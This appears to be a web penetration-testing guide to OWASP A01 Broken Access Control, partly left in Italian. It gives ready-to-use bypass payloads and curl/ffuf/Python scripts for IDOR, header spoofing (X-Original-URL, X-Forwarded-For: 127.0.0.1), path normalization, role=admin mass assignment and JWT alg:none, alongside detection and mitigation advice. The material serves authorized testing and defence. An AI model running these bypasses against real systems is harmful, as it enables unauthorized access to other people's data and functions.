Broken Access Control: Tests, Examples and Bypass OWASP A01

Practical guide to Broken Access Control OWASP A01:2025: privilege escalation, IDOR and BOLA, force browsing, HTTP methods, header bypass and testing with Burp Suite.
- Posted on 2026-08-02
- Reading time: 13 min
Broken Access Control: What It Is and How to Test Access Controls #
Broken Access Control occurs when an application doesn't properly control what a user can read, modify, or execute. Finding it isn't as simple as searching. /admin: You must repeat each request without a session, with a lower role and with a second user, modifying objects, HTTP methods, parameters, headers and workflow steps.
Broken Access Control is a vulnerability that allows a user to access data or functions for which they do not have the necessary permissions.
Simply put: the application recognizes the user, but does not properly control what he can do and on which resources he can do it.
A normal account could then:
- view data belonging to another user;
- modify or delete other people's resources;
- achieve administrative functions;
- change one's role;
- access confidential files or reports;
- skip a mandatory step;
- operate on a different tenant or organization.
Broken Access Control maintains the top spot in the OWASP Top 10:2025 . The category comprises 40 CWEs and includes authorization failures, IDORs, token manipulation, force browsing, and other issues that allow actions beyond the intended privileges.
This guide was verified in July 2026 by comparing:
- OWASP Top 10:2025;
- OWASP Web Security Testing Guide;
- OWASP API Security Top 10:2023;
- PortSwigger Web Security Academy;
- HackTricks;
- PayloadsAllTheThings;
- Hackviser;
- Burp Suite documentation.
Main references:
- OWASP A01:2025 — Broken Access Control
- OWASP Authorization Cheat Sheet
- OWASP WSTG — Authorization Testing
- PortSwigger — Access Control Vulnerabilities
What is Broken Access Control? #
Broken Access Control is an error in the authorization logic.
The application should check, for each request:
Chi è l’utente?
Quale ruolo possiede?
Può utilizzare questa funzione?
Può operare su questo specifico oggetto?
L’oggetto appartiene al tenant corretto?
L’azione è permessa nello stato attuale?When one or more of these checks are missing, a user may exceed the limits set by the system.
Example:
Alice può leggere il proprio ordine 1001.
Bob possiede l’ordine 1002.
Alice modifica:
/api/orders/1001
↓
/api/orders/1002
Il server restituisce l’ordine di Bob.The user was authenticated correctly. The problem is that the server didn't verify whether Alice was authorized to access the order. 1002.
Authentication vs. Authorization: What's the Difference? #
Authentication means verifying who you are.
Authorization means controlling what you can do.
Login corretto
↓
Identità verificata
↓
Controllo del ruolo
↓
Controllo sulla funzione
↓
Controllo sul singolo oggettoAn application can have:
- strong passwords;
- MFA;
- secure sessions;
- cookie
HttpOnly; - signed JWT tokens;
and still be vulnerable to Broken Access Control.
Logging in does not guarantee that all subsequent checks will be correct.
Types of Broken Access Control #
| Type | What does it allow? |
|---|---|
| Unauthenticated access | Reaching a resource without logging in |
| Vertical privilege escalation | Using functions of a higher role |
| Horizontal privilege escalation | Access another user's resources |
| IDOR / BOLA | Manipulate an object's identifier |
| BFLA | Using an unauthorized function or endpoint |
| Force browsing | Reach hidden URLs directly |
| HTTP verb tampering | Bypass the check by changing the HTTP method |
| Parameter tampering | Edit role, user, tenant, or permissions |
| Mass assignment | Sending properties not expected by the frontend |
| Workflow bypass | Skip checks or intermediate steps |
| Token manipulation | Altering claims or metadata used for privileges |
| Path/header bypass | Exploiting the Differences Between Proxies and Backends |
IDOR, BOLA, and BFLA: What's the difference? #
IDOR #
A controllable identifier allows direct access to an unauthorized object.
GET /api/orders/1002 HTTP/1.1
Cookie: session=TOKEN_ALICEBOLA #
Broken Object Level Authorization is the term used mostly in APIs.
The user can legitimately use the endpoint, but should not be able to operate on that specific object.
DELETE /api/documents/5502 HTTP/1.1
Authorization: Bearer TOKEN_ALICEThe document 5502 belongs to Bob.
BFLA #
Broken Function Level Authorization is about the function, not the individual object.
POST /api/admin/users/42/disable HTTP/1.1
Authorization: Bearer TOKEN_UTENTEThe user should not be able to invoke the administrative function.
In summary:
IDOR / BOLA → posso operare sull’oggetto sbagliato
BFLA → posso usare una funzione non autorizzata
BAC → categoria generale che comprende entrambiFor a methodology dedicated to identifiers, see IDOR.
Prepare for the test #
The most reliable method is to use multiple controlled accounts.
Account A → utente normale
Account B → altro utente normale
Manager → ruolo intermedio
Admin → ruolo privilegiato
Anonimo → nessuna sessioneBuild a matrix of expected permissions:
| Function | Authorless | User A | User B | Manager | admin |
|---|---|---|---|---|---|
| Profile of A | No | Yes | No | It depends | Yes |
| Order of B | No | No | Yes | It depends | Yes |
| Global export | No | No | No | Yes | Yes |
| User deletion | No | No | No | No | Yes |
This matrix becomes the test oracle: every different behavior must be verified.
Complete workflow for testing Broken Access Control #
1. Mappa ruoli, endpoint, oggetti e azioni.
2. Registra una richiesta valida per ogni funzione.
3. Ripetila senza cookie o token.
4. Ripetila con un ruolo inferiore.
5. Ripetila con un secondo utente dello stesso livello.
6. Cambia identificatore dell’oggetto.
7. Cambia metodo HTTP.
8. Modifica parametri, proprietà, cookie e header.
9. Prova URL alternativi e versioni API precedenti.
10. Verifica l’effetto reale lato server.
11. Ripristina ogni modifica effettuata.Don't rely on the status code alone.
An answer 200 OK may contain an application error, while a response 302 Found may have performed the action before the redirect.
Always check:
- response body;
- data returned;
- final state of the object;
- recorded actions;
- subsequent requests;
- semantic differences;
- any side effects.
Test 1 — Access without authentication #
Remove from request:
Cookie: session=...
Authorization: Bearer ...
X-API-Key: ...Example:
curl -sk -i \
https://target.com/api/admin/usersWith valid session:
curl -sk -i \
-H "Cookie: session=TOKEN_UTENTE" \
https://target.com/api/admin/usersCompare:
- status code;
- header
Location; - content;
- size;
- sensitive data;
- action performed.
Un 200 which contains the login page does not confirm a bypass.
Test 2 — Force browsing #
The interface can hide a function without actually protecting it.
First check:
/robots.txt
/sitemap.xml
file JavaScript
documentazione OpenAPI
Swagger UI
messaggi di errore
cronologia Burp
link restituiti dalle APIFuzzing with ffuf #
ffuf -u https://target.com/FUZZ \
-H "Cookie: session=TOKEN_UTENTE_NORMALE" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-ac \
-mc all \
-fc 404More extensive wordlist:
ffuf -u https://target.com/FUZZ \
-H "Cookie: session=TOKEN" \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-ac \
-mc all \
-fc 404Interesting endpoints:
/admin
/admin/users
/admin/dashboard
/management
/panel
/internal
/debug
/actuator
/actuator/env
/actuator/beans
/.well-known/
/api/v1/admin
/api/internal
/export
/reportsThe mere presence of these endpoints is not a vulnerability.
The problem arises when an unauthorized identity is able to view data or use restricted functions.
Do not automatically filter 401, 403 e 302: can help identify real endpoints and different behaviors.
Test 3 — Privilege vertical escalation #
A normal user tries to call an administrative function directly.
/admin/deleteUser?id=42
/admin/resetPassword?id=42
/admin/export-data
/admin/create-voucherExample:
POST /api/admin/users/42/disable HTTP/1.1
Host: target.com
Cookie: session=TOKEN_UTENTEAlso check:
- functions present only in JavaScript;
- routes hidden from the frontend;
- requests made from the administrative panel;
- Mobile APIs different from the site;
- internal endpoints called from the backend;
- previous versions of the API.
Examples:
/api/v1/admin/users
/api/v2/admin/users
/api/v3/admin/usersA recent version may enforce the check while an older one may still be exposed.
Test 4 — Horizontal Privilege Escalation #
Use two test accounts.
Account B creates a resource:
order_id = 1002Account A tries to read it:
GET /api/orders/1002 HTTP/1.1
Cookie: session=TOKEN_ACCOUNT_ARepeat the test on the operations:
GET → lettura
POST → azione sull’oggetto
PUT → sostituzione
PATCH → modifica parziale
DELETE → eliminazioneIdentifiers can be found in:
- path;
- query string;
- form;
- JSON;
- XML
- header;
- cookies;
- file name;
- GraphQL variables;
- Signed URLs;
- nested fields.
Do not use data belonging to real users outside of the test.
IDOR and BOLA payloads useful #
Numeric identifiers #
/api/users/1001
/api/users/1002
/api/users/1003Also try:
0
1
-1
999999Username and email #
/profile?user=john
/profile?user=john.doe
/profile?email=john.doe@example.comEncoded values #
/profile?id=am9obi5kb2VAZXhhbXBsZS5jb20=Base64 encoding does not make the identifier secret.
Wildcard #
Some backends interpret special characters as patterns:
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1These payloads are router- and backend-dependent: they don't work universally.
Array #
Original request:
{
"id": 19
}Variants:
{
"id": [19]
}{
"id": [19, 20]
}HTTP Parameter Pollution #
/api/profile?user_id=ACCOUNT_A&user_id=ACCOUNT_BOr:
/api/profile?user_id=ACCOUNT_B&user_id=ACCOUNT_AProxies, frameworks, and backends can choose the first value, the last value, or both.
Changing the content type #
From JSON:
Content-Type: application/json
{"user_id": 1002}A form:
Content-Type: application/x-www-form-urlencoded
user_id=1002Or XML, when supported:
<request>
<user_id>1002</user_id>
</request>The check may only apply to one of the parsers.
Test 5 — Parameter tampering #
Legitimate request:
POST /api/update-profile HTTP/1.1
Content-Type: application/json
{
"name": "John",
"email": "john@test.com"
}Add properties not shown by the interface:
{
"name": "John",
"email": "john@test.com",
"role": "admin"
}{
"name": "John",
"email": "john@test.com",
"isAdmin": true
}{
"name": "John",
"email": "john@test.com",
"admin": 1
}{
"name": "John",
"email": "john@test.com",
"user_type": "superuser"
}Other useful fields, when consistent with the application:
{
"permissions": ["users:write"],
"tenantId": "OTHER_TENANT",
"accountType": "staff"
}The vulnerability is confirmed only if the backend:
- accept the field;
- save the change;
- actually applies the new privilege;
- allows modification by an unauthorized user.
This scenario can combine Broken Access Control and mass assignment.
Cookies, hidden fields and controllable headers #
Cookie #
Cookie: role=user; session=abc123Edit:
Cookie: role=admin; session=abc123Hidden Field #
<input type="hidden" name="role" value="user">Intercept the request and try:
role=adminCustom header #
X-User-ID: 1002
X-User-Role: admin
X-Tenant-ID: tenant-bThese values can be legitimately added by a reverse proxy.
The vulnerability exists when the backend directly accepts the value provided by the client without verifying its origin and authorization.
Test 6 — HTTP verb tampering #
An endpoint could only protect one method.
GET /admin/users/42/delete HTTP/1.1Answer:
403 ForbiddenTry the real handler:
DELETE /admin/users/42 HTTP/1.1Or:
PATCH /api/users/42 HTTP/1.1
Content-Type: application/json
{"admin": true}HEAD It can be useful to understand if an endpoint exists without requesting the body:
HEAD /admin/dashboard HTTP/1.1Check the declared methods:
curl -sk -i \
-X OPTIONS \
-H "Cookie: session=TOKEN_UTENTE" \
https://target.com/api/admin/usersComparison script #
Use only on a non-destructive testing resource:
import requests
url = "https://target.com/api/test-resource"
headers = {"Cookie": "session=TOKEN_NORMALE"}
verbs = ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"]
for verb in verbs:
try:
response = requests.request(
verb,
url,
headers=headers,
timeout=10,
allow_redirects=False,
)
print(
f"{verb:7} "
f"{response.status_code} "
f"{len(response.content)} bytes "
f"Location={response.headers.get('Location', '-')}"
)
except requests.RequestException as error:
print(f"{verb:7} ERROR: {error}")Don't send automatically PUT, PATCH o DELETE against real data.
Method override #
Some frameworks allow you to override the method:
POST /api/users/42 HTTP/1.1
X-HTTP-Method-Override: DELETEVariants:
X-HTTP-Method: DELETE
X-Method-Override: DELETEOr:
_method=DELETEThe test is only relevant when the framework, gateway, or application supports overriding.
Test 7 — X-Original-URL and X-Rewrite-URL #
A reverse proxy can check the original path while the backend uses a header to choose the final route.
Request blocked:
GET /admin HTTP/1.1
Host: target.comAnswer:
403 ForbiddenVariations:
GET / HTTP/1.1
Host: target.com
X-Original-URL: /adminAnother variant:
GET / HTTP/1.1
Host: target.com
X-Rewrite-URL: /adminWith curl:
curl -sk -i \
-H "X-Original-URL: /admin" \
https://target.com/curl -sk -i \
-H "X-Rewrite-URL: /admin" \
https://target.com/Correct loop:
for header in X-Original-URL X-Rewrite-URL; do
code=$(curl -sk \
-o /dev/null \
-w "%{http_code}" \
-H "$header: /admin" \
https://target.com/)
echo "$header: $code"
doneThese headers are not universally supported. The bypass only exists if the frontend and backend interpret the path differently.
Test 8 — IP Address-Based Headers #
When a function is restricted to internal addresses, check whether the application trusts controllable headers.
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Forwarded: for=127.0.0.1Examples:
curl -sk -i \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
https://target.com/admincurl -sk -i \
-H "X-Forwarded-For: 127.0.0.1" \
https://target.com/admincurl -sk -i \
-H "X-Real-IP: 127.0.0.1" \
https://target.com/adminThe vulnerability is not the presence of the header.
The problem arises when the backend trusts a value sent directly from the Internet instead of accepting it only from an authorized reverse proxy.
Test 9 — Path manipulation and normalization #
Proxies, WAFs, servers, and frameworks can normalize paths differently.
Original payloads:
/ADMIN
/admin/
/admin..;/
/admin%20
/admin%2e
/./admin/./
//adminFurther variations:
/%61dmin
/admin;
/admin.json
/admin%2fWith curl:
curl -sk -i \
--path-as-is \
-H "Cookie: session=TOKEN_UTENTE" \
"https://target.com/./admin/./"Multiple test:
paths=(
"/admin"
"/ADMIN"
"/admin/"
"//admin"
"/./admin/./"
"/admin..;/"
"/admin%20"
"/admin%2e"
)
for path in "${paths[@]}"; do
curl -sk \
--path-as-is \
-o /dev/null \
-w "$path -> %{http_code} %{size_download}\n" \
-H "Cookie: session=TOKEN_UTENTE" \
"https://target.com$path"
done/admin..;/ It is particularly dependent on Java, Tomcat, and Spring containers and their versions. It should not be presented as a generic workaround.
Test 10 — Alternative API Versions #
A control may be present in the current version but absent from a previous route.
/api/v1/users/42
/api/v2/users/42
/api/v3/users/42Also try different extensions or formats:
/api/users/42
/api/users/42.json
/api/users/42.xmlOr singular and plural routes:
/api/user/42
/api/users/42The different answer alone does not confirm a vulnerability: always check the object and effect.
Test 11 — Multi-step workflow #
Applications can protect the first step and forget about what produces the final effect.
1. Inserimento dati
2. Revisione
3. Conferma
4. EsecuzioneTry to:
- recall the last step directly;
- skip confirmation;
- switch accounts between steps;
- reuse a completed request;
- edit the object after approval;
- reverse the order of the requests.
Example:
POST /admin/users/42/promote/confirm HTTP/1.1
Cookie: session=TOKEN_UTENTEThe server needs to check again:
- role;
- object properties;
- current state;
- steps completed;
- tenant;
- possible separate approval.
Test 12 — JWT manipulation #
A JWT can contain information used for authorization:
{
"user_id": 42,
"role": "user",
"exp": 1710000000
}Fast payload decoding #
The original command may fail due to padding or Base64URL:
echo "eyJhbGc..." |
cut -d'.' -f2 |
base64 -d 2>/dev/null |
python3 -m json.toolMore robust version:
export TOKEN='eyJ...'
python3 - <<'PY'
import base64
import json
import os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
print(json.dumps(json.loads(decoded), indent=2))
PYPayload alg: none
#
header:
{
"alg": "none",
"typ": "JWT"
}Modified payload:
{
"user_id": 42,
"role": "admin"
}Empty signature:
BASE64URL_HEADER.BASE64URL_PAYLOAD.This test only makes sense when the server library accepts unsigned tokens.
Simply modifying the payload will not work if the signature is verified correctly.
For specific algorithms, keys, claims and bypasses see JWT.
Test 13 — Files, Documents, and Export #
Access controls must also protect static resources.
/downloads/invoice-1001.pdf
/exports/report-2026.csv
/uploads/users/42/document.pdf
/files/tenant-a/contract.pdfVerify:
- sessionless access;
- log in with another account;
- change identifier;
- URL still valid after logout;
- expiration of signed links;
- correct tenant;
- download permission separate from viewing permission.
A random name or UUID does not replace authorization checking.
Test 14 — GraphQL #
GraphQL can apply different controls on queries, mutations, and nested fields.
query {
order(id: "1002") {
id
total
customer {
email
}
}
}Check separately:
- access to the order;
- customer access;
- reserved fields;
- mutation;
- objects belonging to another tenant;
- nodes retrieved by global ID.
Mutation example:
mutation {
updateUser(
id: "42",
input: {
role: "admin"
}
) {
id
role
}
}A proper check on the main resolver does not guarantee that all nested fields are authorized.
Automation with Burp Autorize #
The Autorize extension retries requests made under a privileged account using the token of a less privileged account.
Workflow:
1. Installa Autorize dal BApp Store.
2. Inserisci cookie o header dell’utente normale.
3. Limita il test agli host in scope.
4. Naviga nell’applicazione come amministratore.
5. Autorize ripete le richieste con il token low-priv.
6. Analizza le differenze.
7. Conferma manualmente ogni risultato.Don't automatically consider a response like this vulnerable.
Two answers can be given:
- have the same size but different data;
- return the same template;
- contain different messages;
- perform different actions;
- use redirect after checking.
Complementary tools:
- AuthMatrix;
- Authz;
- Burp Repeater;
- Burp Comparer;
- Match and Replace.
See also Burp Suite.
How to confirm the result #
A vulnerability is confirmed when you can demonstrate:
Identità utilizzata
↓
Permesso previsto
↓
Richiesta modificata
↓
Risorsa o funzione ottenuta
↓
Effetto non autorizzatoExample:
Account: alice
Ruolo: customer
Permesso atteso: può leggere solo i propri ordini
Richiesta: GET /api/orders/1002
Proprietario: bob
Risultato: dati completi restituiti
Impatto: accesso orizzontale ai dati di un altro utenteDo not confirm the finding based solely on:
- status
200; - different size;
- existing endpoint;
- absence of error;
- value changed in frontend;
- unverified response;
- role changed but did not persist.
Common false positives #
Login page with status 200 #
The response does not contain the protected resource.
Redirect after check #
Un 302 It may indicate access denied or an action performed before the redirect.
Check the final status.
cache #
Add:
Cache-Control: no-cache
Pragma: no-cacheand uses controlled identifiers.
Cross-account cookies #
The browser can send overlapping sessions. Use separate profiles or Burp Repeater.
CSRF token missing #
Un 403 caused by CSRF does not prove that the authorization is correct.
Keep a valid CSRF token and only change the identity.
Public resource #
Check the functional requirements before declaring an IDOR.
Change not persisted #
The server may reflect the value in the response without saving it.
Please reread the resource with a second request.
Detection #
Broken Access Control does not produce a single standard event.
Detection must analyze application behavior.
Record at least:
- identity;
- role;
- tenant;
- endpoint;
- HTTP method;
- requested object;
- owner of the object;
- action;
- allow/deny decision;
- origin;
- related session.
Useful indicators:
- sequential access to many IDs;
- low role that recalls administrative routes;
- requests to different tenants;
- repeated HTTP method variations;
- use of path override;
- access to obsolete API versions;
- modification of
role,permissionsotenantId; - direct requests to the final step;
- downloading numerous resources belonging to other users;
- wildcard or parameter pollution on identifiers.
Do not record in clear:
- password;
- complete tokens;
- cookies;
- API secrets;
- unnecessary personal data.
Mitigations #
Deny by default #
Every resource should be denied until a rule explicitly allows access to it.
Server-side controls #
Don't rely on:
- javascript;
- hidden buttons;
- route guard frontend;
- hidden field;
- modifiable cookies;
- unverified claims;
- client-controlled parameters.
Verification on every request #
Check it out:
utente
ruolo
funzione
oggetto
azione
tenant
stato del workflowProperty Control #
It is not enough to verify that the object exists.
L’utente può leggere questo oggetto?
Può modificarlo?
Può eliminarlo?
Appartiene alla sua organizzazione?
L’azione è valida nello stato corrente?Centralized policies #
Use reusable middleware, interceptors, or policies instead of duplicating controls in each controller.
Least privilege #
Separate permissions:
read
create
update
delete
approve
export
adminStatic Resource Protection #
Files, reports, attachments, and exports must go through the same authorization model as APIs.
Automatic tests #
For each sensitive endpoint create tests:
utente autorizzato → consentito
utente non autorizzato → negato
altro tenant → negato
utente anonimo → negato
oggetto inesistente → risposta sicuraRate limiting and monitoring #
Rate limiting does not fix the vulnerability, but it limits automated enumeration and improves detection.
How to assess the impact #
Severity is not automatically Critical.
Currency:
- data type;
- reading, modification or deletion;
- initial role;
- privileges obtained;
- number of users involved;
- cross-tenant access;
- automation possibilities;
- economic impact;
- concatenation with other vulnerabilities;
- persistence of action.
Indicative examples:
| Screenwriting | Possible impact |
|---|---|
| Reading the public profile | Informational / Low |
| Reading other people's PII | Medium / High |
| Modifying other people's orders | High |
| Changing your role | High / Critical |
| Full administrative function | Critical |
| Cross-tenant access | High / Critical |
The final severity depends on the actual context.
How to write the finding #
Use a specific title:
Horizontal privilege escalation in GET /api/orders/{id}or:
Vertical privilege escalation through POST /api/admin/users/{id}/disableThe report should include:
Ruolo iniziale
Permesso atteso
Account utilizzati
Oggetto controllato
Richiesta originale
Richiesta modificata
Risposta rilevante
Effetto verificato
Impatto
Riproduzione
Mitigazione
CleanupAvoid generic titles like:
Broken Access Control nel sitoFAQ #
Are Broken Access Control and IDOR the same thing? #
No. Broken Access Control is the general category. IDOR is a specific case where a direct reference, such as an ID in the URL or JSON, allows access to an unauthorized object. In APIs, this scenario is often described as BOLA, or Broken Object Level Authorization.
Does Broken Access Control require authentication? #
Not always. Some vulnerabilities allow access without logging in; others require a low-privilege account. The test must therefore compare at least three conditions: no session, normal user, and authorized user.
What is the difference between BOLA and BFLA? #
BOLA is object-specific: the user can call the endpoint but shouldn't operate on that resource. BFLA is function-specific: the user shouldn't be able to call the endpoint or action, regardless of the object.
Does an HTTP 200 confirm the vulnerability? #
No. The 200 OK It may contain a login page, an error, or filtered data. The response body and the actual effect on the server should be checked. 302, 403 or responses of the same size may require manual analysis.
How to prevent Broken Access Control? #
Controls must be implemented server-side, applied to every request, and based on role, function, object, action, and tenant. Deny by default, least privilege, centralized policies, and automated testing with different users and roles must be implemented.
Operational checklist #
[ ] L’endpoint funziona senza autenticazione?
[ ] Un utente normale può chiamare funzioni amministrative?
[ ] Un utente può leggere oggetti di un altro account?
[ ] Può modificarli o eliminarli?
[ ] Il tenant è controllabile dal client?
[ ] Cambiando metodo HTTP cambia l’autorizzazione?
[ ] Sono supportati method override?
[ ] X-Original-URL modifica il routing?
[ ] X-Forwarded-For influenza i privilegi?
[ ] Il frontend nasconde soltanto la funzione?
[ ] Il backend accetta role o isAdmin?
[ ] Sono esposte versioni API precedenti?
[ ] Array o parameter pollution cambiano l’oggetto?
[ ] I workflow finali ricontrollano i permessi?
[ ] I file richiedono autorizzazione?
[ ] JWT e cookie vengono verificati?
[ ] GraphQL protegge campi e resolver?
[ ] È stato verificato l’effetto reale?
[ ] Le modifiche sono state ripristinate?Cheat sheet #
# Accesso senza autenticazione
curl -sk -i \
https://TARGET/api/admin/users
# Accesso con sessione utente
curl -sk -i \
-H "Cookie: session=USER_TOKEN" \
https://TARGET/api/admin/users
# Force browsing
ffuf -u https://TARGET/FUZZ \
-H "Cookie: session=USER_TOKEN" \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-ac -mc all -fc 404
# HTTP verb tampering
for verb in GET POST PUT PATCH DELETE; do
curl -sk \
-X "$verb" \
-o /dev/null \
-w "$verb: %{http_code} %{size_download}\n" \
-H "Cookie: session=USER_TOKEN" \
https://TARGET/api/test-resource
done
# URL override
curl -sk -i \
-H "X-Original-URL: /admin" \
https://TARGET/
curl -sk -i \
-H "X-Rewrite-URL: /admin" \
https://TARGET/
# IP-based bypass
curl -sk -i \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
https://TARGET/admin
curl -sk -i \
-H "X-Forwarded-For: 127.0.0.1" \
https://TARGET/admin
# Path normalization
curl -sk -i \
--path-as-is \
-H "Cookie: session=USER_TOKEN" \
"https://TARGET/./admin/./"
# BOLA / IDOR
curl -sk -i \
-H "Cookie: session=TOKEN_ACCOUNT_A" \
https://TARGET/api/orders/ID_ACCOUNT_B
# Parameter pollution
curl -sk -i \
-H "Cookie: session=TOKEN_ACCOUNT_A" \
"https://TARGET/api/profile?user_id=ACCOUNT_A&user_id=ACCOUNT_B"
# Wildcard
curl -sk -i \
-H "Cookie: session=USER_TOKEN" \
"https://TARGET/api/users/*"
# Method override
curl -sk -i \
-X POST \
-H "X-HTTP-Method-Override: DELETE" \
-H "Cookie: session=USER_TOKEN" \
https://TARGET/api/test-resourceRelated Hackita Articles #
- IDOR — Insecure Direct Object Reference
- Auth and Access Control: A Complete Guide
- Privilege Escalation Web
- JWT: exploitation and bypass
- CORS Misconfiguration
- fuf
- Burp Suite
- Web application attacks
Technical sources #
Primary sources #
- OWASP Top 10:2025 — A01 Broken Access Control
- OWASP Authorization Cheat Sheet
- OWASP WSTG — Authorization Testing
- OWASP — Bypassing Authorization Scheme
- OWASP API1:2023 — Broken Object Level Authorization
- PortSwigger — Access Control Vulnerabilities
- PortSwigger — Testing Access Controls with Burp Suite
Operational sources #
- HackTricks — Web API Pentesting
- HackTricks — IDOR
- PayloadsAllTheThings — IDOR
- PayloadsAllTheThings — GraphQL
- Hackviser — HTTP/HTTPS Pentesting
Use these techniques only on applications that you own or for which you have explicit permission.








